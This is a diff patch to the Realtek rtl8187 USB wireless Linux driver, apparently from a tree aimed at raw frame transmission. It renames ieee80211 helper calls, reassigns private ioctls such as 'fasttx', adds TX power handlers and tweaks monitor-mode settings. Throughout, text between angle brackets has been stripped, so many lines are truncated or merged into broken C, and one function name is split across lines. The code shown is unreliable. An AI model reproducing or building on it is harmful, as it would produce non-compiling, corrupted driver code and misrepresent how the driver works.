*priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct 